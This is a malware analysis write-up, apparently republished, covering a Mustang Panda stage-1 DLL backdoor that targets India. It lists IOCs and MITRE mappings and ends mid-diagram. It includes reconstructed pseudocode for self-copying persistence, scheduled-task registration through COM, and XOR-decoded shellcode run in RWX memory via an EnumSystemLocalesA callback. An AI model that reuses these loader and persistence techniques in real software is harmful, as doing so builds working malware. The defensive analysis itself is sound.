core-jmp core-jmpdeath of core jump

[QuickNote] SolidPDFCreator – Mustang Panda Stage-1 Backdoor (Target India)

Comprehensive analysis of SolidPDFCreator.dll, a Mustang Panda stage-1 backdoor targeting India. This DLL-based loader drops malicious payloads to C:ProgramDataIDMlogs, registers persistent scheduled tasks, and executes 186-chunk XOR-obfuscated shellcode via EnumSystemLocalesA callback. Includes YARA and Sigma detection rules, full technical breakdown with IOCs, MITRE ATT&ACK mappings, and defensive recommendations for security teams.

oxfemale July 21, 2026 31 min read 95 reads
Export PDF
[QuickNote] SolidPDFCreator – Mustang Panda Stage-1 Backdoor (Target India)
Original text: “[QuickNote] SolidPDFCreator – Mustang Panda Stage-1 Backdoor (Target India)”AI, 0day in {REA_TEAM} (July 13, 2026). Code blocks, tables, diagrams, and technical artefacts are reproduced verbatim with attribution captions.

Executive Summary

SolidPDFCreator.dll is a sophisticated stage-1 backdoor loader disguised as a legitimate SolidPDF product, attributed to Mustang Panda and targeting India. The malware implements a three-way triage dispatcher that adapts its behavior based on execution context: silent persistence installation on first run, in-memory shellcode execution on subsequent runs from the canonical install folder, and concurrent-instance prevention via named events. The DLL employs multiple evasion techniques including path-based gating, DLL side-loading via legitimate loaders, file attribute obfuscation, and 186-chunk XOR-and-reverse obfuscation of a 34,816-byte shellcode payload executed via the EnumSystemLocalesA callback trick into RWX memory.

The attack chain begins with a spear-phishing email delivering a ZIP file named “Letter to His Excellency the President.zip” containing a benign-looking .exe (with a long whitespace extension-padding trick to hide the .exe in Windows UI) and the malicious SolidPDFCreator.dll side-loaded via standard DLL search order. Upon execution, GetSPApp (the exported entry point) triggers the installation path: dropping both the DLL and loader to C:\ProgramData\IDM\logs\, registering a daily-triggered scheduled task named MediumNetMonIt via ITaskService COM interface, and achieving SYSTEM-context persistence across reboots. Subsequent executions from the installed location skip persistence and directly decrypt and execute the shellcode, which contains 54 internal functions and implements a full PEB-walking API resolver, likely handing control to a follow-on beacon or RAT payload.

1. Executive Summary (Detailed)

1.0 Sample Information

FieldValue
File nameSolidPDFCreator_6c8784885506b0fa3b0543be3c5caec1a4b3c689331d1012847505c61440b2be_dll.bin
File typePE32 DLL (Windows, IA-32)
File size210432 bytes (205 KB)
MD58cb0c9f7871834ee23e9d55a0fe7c0e6
SHA-12643a8e6a37f839e0cfedda3de836365948fb760
SHA-2566c8784885506b0fa3b0543be3c5caec1a4b3c689331d1012847505c61440b2be
CompilerMicrosoft Visual C++ (version string: 14.x – MSVC 2015+)
Sections.text, .data, .rsrc, .reloc, .rdata (5 major)
Exports1 named export: ?GetSPApp@@YAAAVCSPApp@@XZ @ 0x100027D0
Strings186 unique chunk-decoder function names (DecodeShellcodeChunk_NNN_XorAndReverse), file paths, task names, event names, XOR key
Timestamp (PE header)2026-06-15 (analyst date: 2026-07-09)
SolidPDFCreator.dll sample metadata. Source: original article.

1.1 Overview

SolidPDFCreator.dll is a single-file stage-1 backdoor loader disguised as a legitimate SolidPDF product. Its real entry point (?GetSPApp@@YAAAVCSPApp@@XZ @ 0x100027D0) implements a three-way triage dispatcher that selects one of three behavioural paths based on whether the DLL is running from its drop location.

The malware:

  1. Drops itself to C:\ProgramData\IDM\logs (under a SolidPDFCreator.dll filename)
  2. Schedules itself via the COM ITaskService interface as a daily-triggered task named MediumNetMonIt
  3. Decrypts a 34,816-byte in-memory shellcode that is then executed via the well-known EnumSystemLocalesA() callback trick into RWX memory

The shellcode is delivered as 186 individually-XOR-and-reverse-scrambled 187-byte chunks, each decoded by its own template function (DecodeShellcodeChunk_000..185_XorAndReverse) using a 34-byte rolling key (yrty!@#123$09*gdt%dgt$874Tydghsbyr, masked with & 0x1F so it cycles every 32 bytes). After all chunks are appended, a 34-byte inline tail chunk (the XOR key XOR-keyed = all zeros) is appended, giving the final 34,816-byte payload.

1.2 Key IOCs

TypeValueLocation
Named event (single-instance)uydgcfteionxcfd (wide)0x100027f4
Install path (drop target)C:\ProgramData\IDM\logs0x10027878 / 0x100278f4
Scheduled task nameMediumNetMonIt0x10027410
Task trigger IDDailyTriggerId0x100273A8
XOR decryption key (34 bytes)yrty!@#123$09*gdt%dgt$874Tydghsbyr0x10029AF0 / 0x10029520 (xmmwords)
Shellcode entry offset in decrypted blob+0xD0 (first instruction: E8 D3 03 00 00 = CALL +0x3D8 to API resolver)Decrypted blob
Critical indicators of compromise. Source: original article.

1.3 MITRE ATT&ACK Mapping

TacticTechniqueEvidence
PersistenceT1053 Scheduled Task/JobITaskService::RegisterTaskDefinition (COM)
PersistenceT1106 Native APICoInitializeEx, COM consumption
Defense EvasionT1027 Obfuscated Files186-chunk XOR+reverse layered obfuscation
Defense EvasionT1027.002 Software PackingEnum-system-locales callback transfer to RWX shellcode
Defense EvasionT1497 Virtualization/Sandbox EvasionIsInstalledInIDMLogs re-check (tamper defense)
ExecutionT1204.002 User Execution: Malicious FileDLL side-loading via GetSPApp export
ExecutionT1059 Command and ScriptingInline shellcode with PE-resolver
Defense EvasionT1564 Hide ArtifactsSetFileAttributesW(FILE_ATTRIBUTE_NORMAL)
MITRE ATT&ACK framework coverage. Source: original article.

1.4 Three-Path Triage (high-level)

Three-Path Triage flowchart
Three-path triage dispatcher logic: determines execution flow based on installation status and instance guard. Source: original article.

1.5 Capabilities Overview and Matrix

The malware exhibits the following core capabilities across its execution chain. Each capability is mapped to the corresponding function in the IDB and the in-binary implementation evidence.

1.5.1 Capability Matrix (Mermaid Mindmap)

Capability Matrix mindmap
Capability Matrix showing hierarchical organization of malware features. Source: original article.

1.5.2 Risk Severity Distribution

SeverityCountCapabilities
High74 (hidden dir), 5 (dual-file drop), 6 (scheduled task), 8 (SYSTEM context), 9 (multi-stage obfuscation), 12 (hidden tail), 13 (RWX exec)
Medium61 (path dispatch), 4 (hidden attribute), 7 (COM config), 10 (per-chunk decoder), 11 (chunk decrypt), 14 (anti-analysis)
Low22 (single-instance), 3 (placeholder)
Risk severity breakdown by capability count. Source: original article.

1.5.3 Execution Chain Summary (high-level)

The malware executes in three distinct phases, each controlled by the same GetSPApp dispatcher:

PhaseTriggerActionOutcome
Phase 1: InstallFirst run from ZIP-delivered loaderSingle-instance guard -> 2-file drop (DLL + loader) -> scheduled task (daily, SYSTEM) -> ExitPersistent installation on the host
Phase 2: PersistenceDaily trigger (system scheduler)Launches MediumInstStart.exe -> side-loads SolidPDFCreator.dll -> GetSPApp -> shellcode build + executeIn-memory second-stage payload execution
Phase 3: PayloadShellcode handoffPEB walk + export hash resolver + C2 handshake (likely follow-on beacon or RAT)Attacker command & control
Three-phase execution model. Source: original article.

1.5.4 Build Pipeline (how the shellcode is constructed at Phase 2)

Build Pipeline diagram
Build pipeline showing the 186-chunk decryption process and final RWX execution setup. Source: original article.

1.5.5 Cleanup / Persistence Lifecycle

The malware maintains persistent installation across reboots via:

  • The scheduled task (registered on first run)
  • The 2 dropped files in C:\ProgramData\IDM\logs\ (DLL + loader)

On subsequent runs (after the malware has been installed):

  • The .exe may have been removed (if it was in a temp folder after extraction)
  • The DLL is now located at the canonical install path
  • GetSPApp -> IsInstalledInIDMLogs returns true -> in-memory shellcode execution

The malware has no uninstall routine – removal requires:

  1. Deleting both SolidPDFCreator.dll and MediumInstStart.exe from C:\ProgramData\IDM\logs\
  2. Removing the scheduled task named MediumNetMonIt
  3. Removing the named event uydgcfteionxcfd

2. Infection Chain / Initial Vector

2.1 Delivery Mechanism

The sample is delivered via a spear-phishing email with ZIP attachment named “Letter to His Excellency the President.zip”. Inside the ZIP archive, the user finds a folder named “Letter to His Excellency the President\” containing a file with double-extension spacing:

Letter to His Excellency the President/
  +-- "Letter to His Excellency the President       .exe"     <- benign loader (OriginalFilename: Solid PDF Creator)
       +-- SolidPDFCreator.dll                                  <- malicious DLL (side-loaded)

The .exe is a benign-looking launcher whose OriginalFilename (from the PE Version Information resource) is “Solid PDF Creator”. It performs standard DLL side-loading: when launched, it implicitly loads SolidPDFCreator.dll from the same directory via the standard Windows DLL search order. The malicious DLL’s real entry point is the exported function ?GetSPApp@@YAAAVCSPApp@@XZ, called by the loader binary via GetProcAddress. This is a classic Mustang Panda technique: the malicious logic is hidden in a named export, not in DllMain.

If the user double-clicks the .exe and Windows is configured to hide known file extensions, only “Letter to His Excellency the President” is visible, with the .exe extension hidden – the long whitespace before the extension is a UI-trick to make the extension appear hidden.

2.2 Subsequent Behaviour

Once GetSPApp is called by the loader, the malware executes its 3-path triage:

  1. If running from the install folder C:\ProgramData\IDM\logs\, it drops the decrypted shellcode in memory and runs it via EnumSystemLocalesA callback (the “live” mode – typically used on second-or-later execution when the malware is already installed).
  2. If running from elsewhere (e.g. from the ZIP-extracted folder), it installs itself to C:\ProgramData\IDM\logs\ (creating the folder hierarchy via CreateDirectoriesRecursively, then dropping a copy of itself as SolidPDFCreator.dll and copying the host loader binary as MediumInstStart.exe), then registers a daily-scheduled task via ITaskService::RegisterTaskDefinition for persistence, and finally exits silently.
  3. If a concurrent instance is detected (named event uydgcfteionxcfd already exists), it exits silently.

2.3 First-Stage Decision Tree

flowchart TD
    Start["DLL loaded via side-loading chain"] --> C1["GetSPApp export called by loader"]
    C1 --> Q1{"First IsInstalledInIDMLogs check"}
    Q1 -- "Not in install folder" --> P1["Persistence path: drop self + schedule task"]
    Q1 -- "Already in install folder" --> Q2{"Second IsInstalledInIDMLogs check (tamper defense)"}
    Q2 -- "Different filename" --> X1["ExitProcess silent exit"]
    Q2 -- "Same filename (SolidPDFCreator.dll)" --> R1["Run shellcode from RWX memory"]
    P1 --> P2["Install_CopyMalwareToIDMLogs: copy self to C:\\ProgramData\\IDM\\logs\\SolidPDFCreator.dll"]
    P2 --> P3["ScheduleDailyTaskViaTaskScheduler: register MediumNetMonIt task via ITaskService COM"]
    P3 --> X2["ExitProcess silent exit"]
    R1 --> R2["BuildAndExecute_Shellcode_ViaEnumSystemLocales"]
    R2 --> R3["BuildShellcodeBlob: 186 XOR chunks decoded into 0x8800-byte blob"]
    R3 --> R4["VirtualAlloc 0x8A00 + VirtualProtect RWX"]
    R4 --> R5["EnumSystemLocalesA callback at Mem+0xD0 hands control to shellcode"]
    R5 --> R6["Shellcode: PEB walk + export hash resolver + 54 internal functions"]
    R6 --> R7["Second-stage payload (likely a follow-on PE or Cobalt Strike beacon)"]

2.4 Attacker Infrastructure / Artefacts Observed

ArtefactValuePurpose
Named eventuydgcfteionxcfdSingle-instance marker for in-the-wild deployments
Scheduled task nameMediumNetMonItPersistence (runs as SYSTEM daily)
Drop folderC:\ProgramData\IDM\logs\Unusual folder; mimics IDM (Internet Download Manager) for plausible deniability
Loader binary nameMediumInstStart.exeBenign-looking launcher for daily task execution
Malware DLL nameSolidPDFCreator.dllMasquerades as legitimate SolidPDF product library
Export function name?GetSPApp@@YAAAVCSPApp@@XZReal entry point hiding inside a “product” export signature
Decryption key (34 bytes)yrty!@#123$09*gdt%dgt$874TydghsbyrRolling XOR key for 186 shellcode chunks
Attacker infrastructure and operational artefacts. Source: original article.

2.5 Telemetry / Detection Opportunities

  • File creation in C:\ProgramData\IDM\logs\ is highly unusual and should be flagged. IDM is a popular third-party download manager whose folder has no business in ProgramData.
  • Task creation with names MediumNetMonIt* is a non-standard name and should be a hard-block in EDR.
  • DLL export GetSPApp with a single __cdecl calling convention (returning a CSPApp*) is unusual for a SolidPDF product and is a strong tell-tale.
  • The EnumSystemLocalesA callback trick with a VirtualProtect -> PAGE_EXECUTE_READWRITE immediately preceding the call is detectable via Sysmon / EDR process telemetry.

3. Functional Overview

Functional Overview architecture
High-level functional architecture showing the three execution phases and internal component relationships. Source: original article.

4. Static Analysis

4.1 Entry-point analysis – GetSPApp (@0x100027D0)

GetSPApp is the export carrying the actual dispatcher logic; the standard DllMain only runs CRT initialisation, then returns TRUE. The real backdoor decision is taken here.

Annotated pseudocode:

struct CSPApp* __cdecl GetSPApp(void* a1, int savedregs)
{
    // === Step 1: Install-location gate (tamper resistant, called twice) ===
    if (IsInstalledInIDMLogs(this, savedregs))
    {
        // Second check: ensures the path didn't change between calls
        if (IsInstalledInIDMLogs(v3, savedregs))
        {
            BuildAndExecute_Shellcode_ViaEnumSystemLocales();   // Live in correct folder -> execute
        }
        ExitProcess(0);                                            // Live, but unexpected filename -> silent exit
    }
    // === Step 2: Single-instance guard (when not in install folder) ===
    HANDLE EventW = CreateEventW(NULL, FALSE, FALSE, L"uydgcfteionxcfd");
    DWORD dwErr   = GetLastError();
    if (dwErr == ERROR_ALREADY_EXISTS /* 0xB7 */ || EventW == NULL)
        ExitProcess(0);                                            // Already running, or creation failed -> silent exit
    // === Step 3: Install + schedule persistence ===
    Install_CopyMalwareToIDMLogs();                                // copy self to %ProgramData%\IDM\logs\
    ScheduleDailyTaskViaTaskScheduler();                          // COM ITaskService daily trigger
    ExitProcess(0);                                                // New install path silent exit
}

IsInstalledInIDMLogs is called twice on the same path on purpose (IDA comment): if a defensive tool attempts to flip the return value in-process between the first and second call (e.g. via thread-injection patch), the malware exits cleanly.

4.2 Anti-analysis – IsInstalledInIDMLogs (@0x100025E0)

Reads the host module’s path, truncates at the last backslash (or forward slash) and compares case-insensitively against the expected installation folder.

Annotated pseudocode:

bool __cdecl IsInstalledInIDMLogs()
{
    WCHAR wszFilename[260];
    memset(wszFilename, 0, sizeof(wszFilename));
    if (GetModuleFileNameW(NULL, wszFilename, 260) == 0)
        return false;
    // wstring assignment of the full path
    std_wstring wsPath(wszFilename, wcslen(wszFilename));
    // Truncate at last separator: GetModuleDirectory
    int lastSlash = wsPath.find_last_of(L"\\/");   // 0x10002A00
    if (lastSlash == -1) return false;
    wsPath.set_length(lastSlash);                   // strip trailing "\\"
    wsPath.buffer[wsPath.length] = 0;               // null-terminate
    // Compare against canonical target
    std_wstring wsTargetDir;
    wsTargetDir.assign(L"C:\\ProgramData\\IDM\\logs\\");        // 0x10002950
    bool bDirsMatch = (_wcsicmp(wsPath.c_str(), wsTargetDir.c_str()) == 0);
    // SEH-cleanup of the two wstrings
    if (wsTargetDir.capacity >= 8) free(wsTargetDir.buffer);
    wsTargetDir.reset();
    if (wsPath.capacity      >= 8) free(wsPath.buffer);
    return bDirsMatch;
}

4.3 Persistence Installer – Install_CopyMalwareToIDMLogs (@0x10001210)

The function copies two files into C:\ProgramData\IDM\logs\ to give the malware a stable location on subsequent runs:

  1. C:\ProgramData\IDM\logs\SolidPDFCreator.dll – a copy of the running module (the malicious DLL itself, masquerading as the legitimate SolidPDF product)
  2. C:\ProgramData\IDM\logs\MediumInstStart.exe – a renamed copy of the host loader binary (used by the scheduled task to side-load SolidPDFCreator.dll on every subsequent execution)

Implementation highlights:

  1. Build the drop target paths by loading wide-string constants into local std::wstring buffers via std_wstring_assign_LogDirectoryPath @ 0x10002C20 followed by stl_string__init_pos_len. Both target paths share the same prefix C:\ProgramData\IDM\logs\ but differ in their final filename.
  2. Call CreateDirectoriesRecursively(@0x10001160) for a mkdir-p on every \\ segment. The helper walks each character and on encountering a \\ or / invokes _access() and _mkdir().
  3. SetFileAttributesW(target, FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_HIDDEN=0x82) on the install directory.
  4. Build the source path by calling GetModuleFileNameW(NULL, wsPath, 260). This is the path of the .exe that loaded the DLL.
  5. Two CopyFileW calls drop the source module (with appropriate filename changes) into the target folder
int __cdecl Install_CopyMalwareToIDMLogs()
{  
  logDirectoryPath._Myres = 0xF;
  logDirectoryPath._Mysize = 0;
  logDirectoryPath.u._Buf[0] = 0;
  std_wstring_assign_LogDirectoryPath(&logDirectoryPath, v0, 0x18u);  // wsInstallDir = L"C:\\ProgramData\\IDM\\logs\\"
  v10 = 0;
  fullInstallPath._Myres = 0xF;
  fullInstallPath._Mysize = 0;
  fullInstallPath.u._Buf[0] = 0;
  stl_string_init_pos_len(&fullInstallPath, &logDirectoryPath, 0, 0xFFFFFFFF);  // wsFullPath = wsInstallDir
  // Step 1: mkdir-p every '\\' segment under the install directory
  CreateDirectoriesRecursively(
    v1,
    (std_string *)fullInstallPath.u._Ptr,
    *((int *)&fullInstallPath.u._Ptr + 1),
    *((std_string **)&fullInstallPath.u._Ptr + 2),
    *((int *)&fullInstallPath.u._Ptr + 3),
    fullInstallPath._Mysize,
    fullInstallPath._Myres);
  // Step 2: mark the install directory as hidden (NORMAL | HIDDEN = 0x82)
  SetFileAttributesW(L"C:\\ProgramData\\IDM\\logs\\", FILE_ATTRIBUTE_HIDDEN);
  // Step 3: build the target path for SolidPDFCreator.dll (the malware DLL)
  wcscpy(targetSolidPdfCreatorDllPath, L"C:\\ProgramData\\IDM\\logs\\SolidPDFCreator.dll");
  // Step 4: build the source path - get the full path of the running .exe that loaded us
  memset(selfModulePath, 0, sizeof(selfModulePath));
  memset(sourceDllPath, 0, sizeof(sourceDllPath));
  GetModuleFileNameW(0, selfModulePath, MAX_PATH);  // <-- retrieves the full path of the .exe that loaded the DLL
  lstrcatW(sourceDllPath, selfModulePath);
  // Step 5: truncate at the last '\\' to keep only the directory portion
  for ( i = lstrlenW(sourceDllPath); i; sourceDllPath[i--] = 0 )
  {
    if ( sourceDllPath[i] == '\\' )
    {
      break;
    }
  }
  lstrcatW(sourceDllPath, L"SolidPDFCreator.dll");
  // Step 6: drop the TWO files into the install folder
  // File #1: drop the malicious DLL as SolidPDFCreator.dll (renamed copy via the sourceDllPath intermediate)
  CopyFileW(sourceDllPath, targetSolidPdfCreatorDllPath, 1);
  // File #2: drop the LOADER BINARY as MediumInstStart.exe (direct copy from selfModulePath)
  CopyFileW(selfModulePath, L"C:\\ProgramData\\IDM\\logs\\MediumInstStart.exe", 1);
  // Step 7: cleanup the wstring on the stack before returning
  logDirPathCapacity = logDirectoryPath._Myres;
  if ( logDirectoryPath._Myres >= 0x10 )
  {
    STL__sanity_check_memory(v1, pathLength, logDirectoryPath.u._Ptr, logDirectoryPath._Myres + 1);
  }
  return logDirPathCapacity;
}

Key observations from the pseudocode:

  1. The function uses two source paths for CopyFileW: sourceDllPath = <source_dir>\SolidPDFCreator.dll (the .dll in the same directory as the loader, found via truncation of the .exe path) and selfModulePath = the full path of the .exe file that loaded the DLL (returned by GetModuleFileNameW(NULL, …))
  2. GetModuleFileNameW(0, selfModulePath, MAX_PATH) retrieves the full path of the .exe that loaded the malicious DLL. In the real-world delivery scenario (Section 2.1), this path is C:\Users\<user>\Downloads\Letter to His Excellency the President\Letter to His Excellency the President .exe (the .exe file delivered via the spear-phishing ZIP).
  3. The function then copies: sourceDllPath -> C:\ProgramData\IDM\logs\SolidPDFCreator.dll (file #1: the malicious DLL under the name SolidPDFCreator.dll) and selfModulePath -> C:\ProgramData\IDM\logs\MediumInstStart.exe (file #2: the LOADER binary itself under the name MediumInstStart.exe)
  4. This two-file drop is what enables the full attack chain: the loader (MediumInstStart.exe) is invoked daily by the scheduled task, which then side-loads SolidPDFCreator.dll from the same directory via standard DLL search order, triggering GetSPApp -> IsInstalledInIDMLogs (TRUE) -> BuildAndExecute_Shellcode_ViaEnumSystemLocales.

4.4 Persistence Scheduler – ScheduleDailyTaskViaTaskScheduler (@0x100016D0)

This function drives the Microsoft Task Scheduler via COM (ITaskService).

Annotated pseudocode:

bool __cdecl ScheduleDailyTaskViaTaskScheduler()
{
    HRESULT hrCoInit = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    // tolerate S_OK=0 and S_FALSE=1 (already initialised)
    WCHAR wszTaskName[16];
    BuildTaskName_WString_MediumNetMonIt(wszTaskName);    // "MediumNetMonIt" wide
    if (wcslen(wszTaskName) == 0) return false;
    // 1) Create ITaskService via CoCreateInstance
    pITaskService = NULL;
    hr = CoCreateInstance(CLSID_SCM, NULL, CLSCTX_SERVER,
                          CLSID_ITaskService, &pITaskService);
    if (FAILED(hr)) return false;
    // 2) ITaskService::Connect(server, user, domain, password)
    VARIANT vargServer = {};    // all four VARIANT.NULL
    VARIANT vargUser   = {};
    VARIANT vargDomain = {};
    VARIANT vargPassword = {};
    ITaskService_Connect(pITaskService, &vargServer, &vargUser, &vargDomain, &vargPassword);
    VariantClear(&vargPassword);  // ... all 4 in order
    // 3) ITaskService::GetFolder("\\\\")
    BSTR bsRoot = SysAllocString(L"\\\\");
    ITaskService_GetFolder(pITaskService, bsRoot, &pITaskFolder);
    // 4) ITaskFolder::NewTask(0)
    ITaskFolder_NewTask(pITaskFolder, NULL, &pITask);
    // 5) ITaskDefinition::get_Triggers
    ITaskDefinition_get_Triggers(pTask, &pTriggers);
    // 6) ITriggerCollection::Create(TASK_TRIGGER_DAILY = 2)
    ITriggerCollection_Create(pTriggers, 2, &pTrigger);
    // 7) ITrigger::put_Id("DailyTriggerId")
    BSTR bsTrigId = SysAllocString(L"DailyTriggerId");
    ITrigger_put_Id(pTrigger, bsTrigId);
    // 8) ITrigger::put_Type(2) and ITrigger::put_Enabled(TRUE)
    ITrigger_put_Type(pTrigger, TASK_TRIGGER_DAILY); // redundant but explicit
    ITrigger_put_Enabled(pTrigger, TRUE);
    // 9) Format "2024-01-15T14:30:00" START_BOUNDARY for tomorrow
    SYSTEMTIME st; GetLocalTime(&st);
    WCHAR wsBuf[80]; swprintf(wsBuf, L"%04d-%02d-%02dT%02d:%02d:%02d", st.wYear, ...);
    BSTR bsBoundary = SysAllocString(wsBuf);
    ITrigger_put_StartBoundary(pTrigger, bsBoundary);
    // 10) ITaskDefinition::get_Actions + IActionCollection::Create(TASK_ACTION_EXEC=0)
    BSTR bsPath = SysAllocString(L"C:\\ProgramData\\IDM\\logs\\MediumInstStart.exe");
    IAction_put_Path(pAction, bsPath);
    // 11) Register (twice with trailing "_" variant)
    ITaskFolder_RegisterTaskDefinition(pITaskFolder, L"MediumNetMonIt", pTaskDef, 6, ...);
    return true; // overall success
}

The four ITaskService::Connect parameters are all VARIANT.NULL, which means the malware connects without credentials and runs as SYSTEM through the Task Scheduler service token.

4.5 Shellcode Builder – BuildShellcodeBlob_ConcatDecodedChunks (@0x1000DBC0)

Key facts (final, corrected):

ConceptValue
Total chunk decoders186 (113 at 0x10003900..0x10009B00 + 73 at 0x10009BE0..0x1000DAE0)
Chunk decoder stride in .text0xE0 (224 bytes) – uniform
Per-chunk data layout11 * xmmword + u32 + u32 + u16 + u8 = 176 + 4 + 4 + 2 + 1 = 187 bytes per chunk
Encrypted blob size186 × 0xBB = 34,782 bytes (186 encrypted chunks)
Decryption algorithmPass 0: XOR with 32-byte rolling key (0x1F mask); Passes 1-4: multi-reverse obfuscation (net effect = single full-buffer reverse)
Total decrypted payload34,816 bytes (186 chunks @ 0xBB + 34-byte zero tail)
Shellcode entry pointBlob +0xD0 (first instruction: E8 D3 03 00 00 = CALL +0x3D8 to API resolver)
Internal functions in shellcode54 (function prologues PUSH EBP; MOV EBP,ESP found in disassembly)
Shellcode construction blueprint. Source: original article.

Tail processing (inline at 0x1000FAE5-0x1000FB6A):

  1. Loads the 34-byte XOR key from stack (built from xmmword constants at 0x10029AF0 and others)
  2. memmove(scratch, key_stack, 0x22) – copies the 34-byte key to scratch buffer
  3. DecryptChunk_XorWithKeyAndReverse4Passes(scratch, 0x22) – decrypts the key (which becomes all zeros since key XOR key = 0)
  4. memmove_0(blob + 0xBB × 186, scratch, 0x22) – appends the 34 zero bytes to the blob

4.6 Chunk Decoder & XOR – DecryptChunk_XorWithKeyAndReverse4Passes (@0x100037C0)

DecryptChunk_XorWithKeyAndReverse4Passes is the actual obfuscation primitive applied to every 187-byte chunk (and once to the 34-byte inline tail). The algorithm (simplified from disassembler output):

// In-place decrypt of a 187-byte buffer
char* lpBuf   = ECX;          // input + output (modified)
size_t cbBuf  = EDX;          // = 0xBB = 187
// Pass 0: XOR each byte with rolling key (32-byte cycle, mask 0x1F)
for (i = 0; i < cbBuf; i++)
    lpBuf[i] ^= lpXorKey[i & 0x1F];   // key = "yrty!@#123$09*gdt%dgt$874Tydghsb"
// split = 0xBB - (0xBB - 0x17) % 0xBB = 0x17 (23) - same for cbBuf = 0xBB
size_t split = cbBuf - (cbBuf - 0x17) % cbBuf;
// Pass 1: reverse the first 'split' bytes
for (i = 0; i < split/2; i++)
    std::swap(lpBuf[i], lpBuf[split - 1 - i]);
// Pass 2: reverse the last (cbBuf - split) bytes
for (i = 0; i < (cbBuf - split)/2; i++)
    std::swap(lpBuf[split + i], lpBuf[cbBuf - 1 - i]);
// Pass 3: reverse entire buffer
for (i = 0; i < cbBuf/2; i++)
    std::swap(lpBuf[i], lpBuf[cbBuf - 1 - i]);
// Pass 4: reverse entire buffer AGAIN (cancels pass 3 -> identity)
for (i = 0; i < cbBuf/2; i++)
    std::swap(lpBuf[i], lpBuf[cbBuf - 1 - i]);
// Net effect of passes 1..4 = a single full-buffer reverse of buf
// So combined with pass 0:
//   plaintext[i] = ciphertext[cbBuf - 1 - i] ^ lpXorKey[i & 0x1F]
return true;

Why 186 decoders, not 113? Earlier analysis mistakenly terminated the decoder list at 0x10009B00 (chunk #112). In fact BuildShellcodeBlob_ConcatDecodedChunks continues with 73 additional chunk decoders at addresses 0x10009BE0..0x1000DAE0 (stride 0xE0). Combined with the original 113, there are 186 decoders total. Each has the identical template structure and only differs in its 13 encrypted constants (11 xmmwords + 2 u32 + 1 u16 + 1 u8). All 186 are now consistently named DecodeShellcodeChunk_NNN_XorAndReverse in the IDB.

4.7 XOR key – full layout

The 34-byte XOR key is constructed on the stack at [ebp-0x24]:

[ebp-0x24..ebp-0x14]  (16 bytes) <- xmmword_10029AF0 = "yrty!@#123$09*gd"
[ebp-0x14..ebp-0x04]  (16 bytes) <- xmmword_10029520 = "t%dgt$874Tydghsb"
[ebp-0x04..ebp-0x02]  ( 2 bytes) <- qmemcpy word = 0x7279  = "yr"   (little-endian)
------------------------------------------------------------
TOTAL 34 bytes (0x22): "yrty!@#123$09*gdt%dgt$874Tydghsbyr"

The XOR pass uses i & 0x1F (mask 31), so the effective cycling key is only the first 32 bytes. The trailing “yr” is only used by the inline tail decoder in BuildShellcodeBlob_ConcatDecodedChunks (0x1000FAE5..0x1000FB3E). Because the inline tail data IS the key (XORed against itself), the 34-byte tail decodes to all zeros – a code-cloaking trick confirmed in the live IDB data at offset 0x8800.

4.8 Shellcode Stage & Execution – BuildAndExecute_Shellcode_ViaEnumSystemLocales (@0x100024C0)

void BuildAndExecute_Shellcode_ViaEnumSystemLocales()
{
    char* lpShellcodeOut = NULL;
    SIZE_T cbShellcodeOut = 0;
    // 1) Build the 186-chunk encrypted blob (~34,816 bytes)
    BuildShellcodeBlob_ConcatDecodedChunks(&lpShellcodeOut, &cbShellcodeOut);
    //    cbShellcodeOut == 0x8A00 (padded)
    // 2) Decoy CreateEventW call (looks like single-instance hygiene)
    CreateEventW(NULL, FALSE, TRUE, NULL);
    // 3) Allocate RWX-capable stage buffer
    LPVOID Mem = VirtualAlloc(NULL, 0x8A00, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (Mem == NULL) { printf("VirtualAlloc Error %d", GetLastError()); MessageBoxW(0, ..., L"VirtualAlloc Error", 0); return; }
    // 4) Byte-by-byte memcpy from decoded blob to stage
    for (esi = 0x8A00; esi != 0; esi--)
        Mem[i] = lpShellcodeOut[i];
    //       ^ decoy implementation; actual real-CPU copy follows
    // 5) Flip staging buffer to RWX
    DWORD flOldProtect = 0;
    if (VirtualProtect(Mem, 0x8A00, PAGE_EXECUTE_READWRITE, &flOldProtect) == 0)
    { printf("VirtualAlloc Error %d", GetLastError()); MessageBoxW(0, ..., L"VirtualAlloc Error", 0); return; }
    // 6) Execute shellcode via EnumSystemLocalesA callback trick
    EnumSystemLocalesA(Mem + 0xD0, LCID_ALTERNATE_SORTS /*=2*/);
    //    EnumSystemLocalesA invokes the callback address once for the first locale
    //    The shellcode's first 0xD0 bytes are setup/sled; the actual entry is
    //    blob + 0xD0 -> CALL rel32 to the API resolver at blob + 0x4A8
}

4.9 Shellcode structure (post-decryption)

The decrypted shellcode was dumped to decrypted.bin (34,816 bytes). Revealed structure:

Notable shellcode artefacts observed in the decrypted blob:

  • 54 function prologues (PUSH EBP; MOV EBP,ESP) found in the 0xBB-0x87DE range, indicating a structured shellcode with multiple internal routines.
  • Hash constants visible at the API resolver (blob+0x4A8), notably 0x72ABEDD7 (a common ROR-13 / DJB2-style kernel32 export hash).
  • ASCII references to PE section names (“.rdata$zzzdbg”, “.text$mn”, “.data”) used by the shellcode’s PEB-section walker for export-table scanning.
  • The first 0xD0 bytes are mostly zeros / no-ops for stack alignment, then the entry:
0xD0: E8 D3 03 00 00     call    $+0x3D8     ; -> 0x4A8 = API resolver
0xD5: EB FE              jmp     $-2         ; sentinel after CALL returns
0xD7: 55                push    ebp
0xD8: 8B EC             mov     ebp, esp
0xDA: 8B 45 08          mov     eax, [ebp+8]
XOR key layout diagram
XOR key full layout and byte-by-byte construction. Source: original article.

5. Detailed Execution Flow

sequenceDiagram
    autonumber
    participant Caller as DllMain (side-loader)
    participant GetSPApp as GetSPApp 0x100027D0
    participant IsInIDMLogs as IsInstalledInIDMLogs 0x100025E0
    participant EventW as CreateEventW
    participant Installer as Install_CopyMalwareToIDMLogs 0x10001210
    participant Scheduler as ScheduleDailyTaskViaTaskScheduler 0x100016D0
    participant Builder as BuildShellcodeBlob_ConcatDecodedChunks 0x1000DBC0
    participant Runner as BuildAndExecute_Shellcode_ViaEnumSystemLocales 0x100024C0
    participant Decoders as 186 x DecodeShellcodeChunk_NNN
    participant Decrypt as DecryptChunk_XorWithKeyAndReverse4Passes
    participant Shellcode as Decrypted shellcode (Mem) in RWX
    Caller->>GetSPApp: LoadLibrary + GetProcAddress
    GetSPApp->>IsInIDMLogs: 1st call (this, savedregs)
    IsInIDMLogs-->>GetSPApp: AL = (parent dir == C:\ProgramData\IDM\logs)
    alt path matches IDM logs
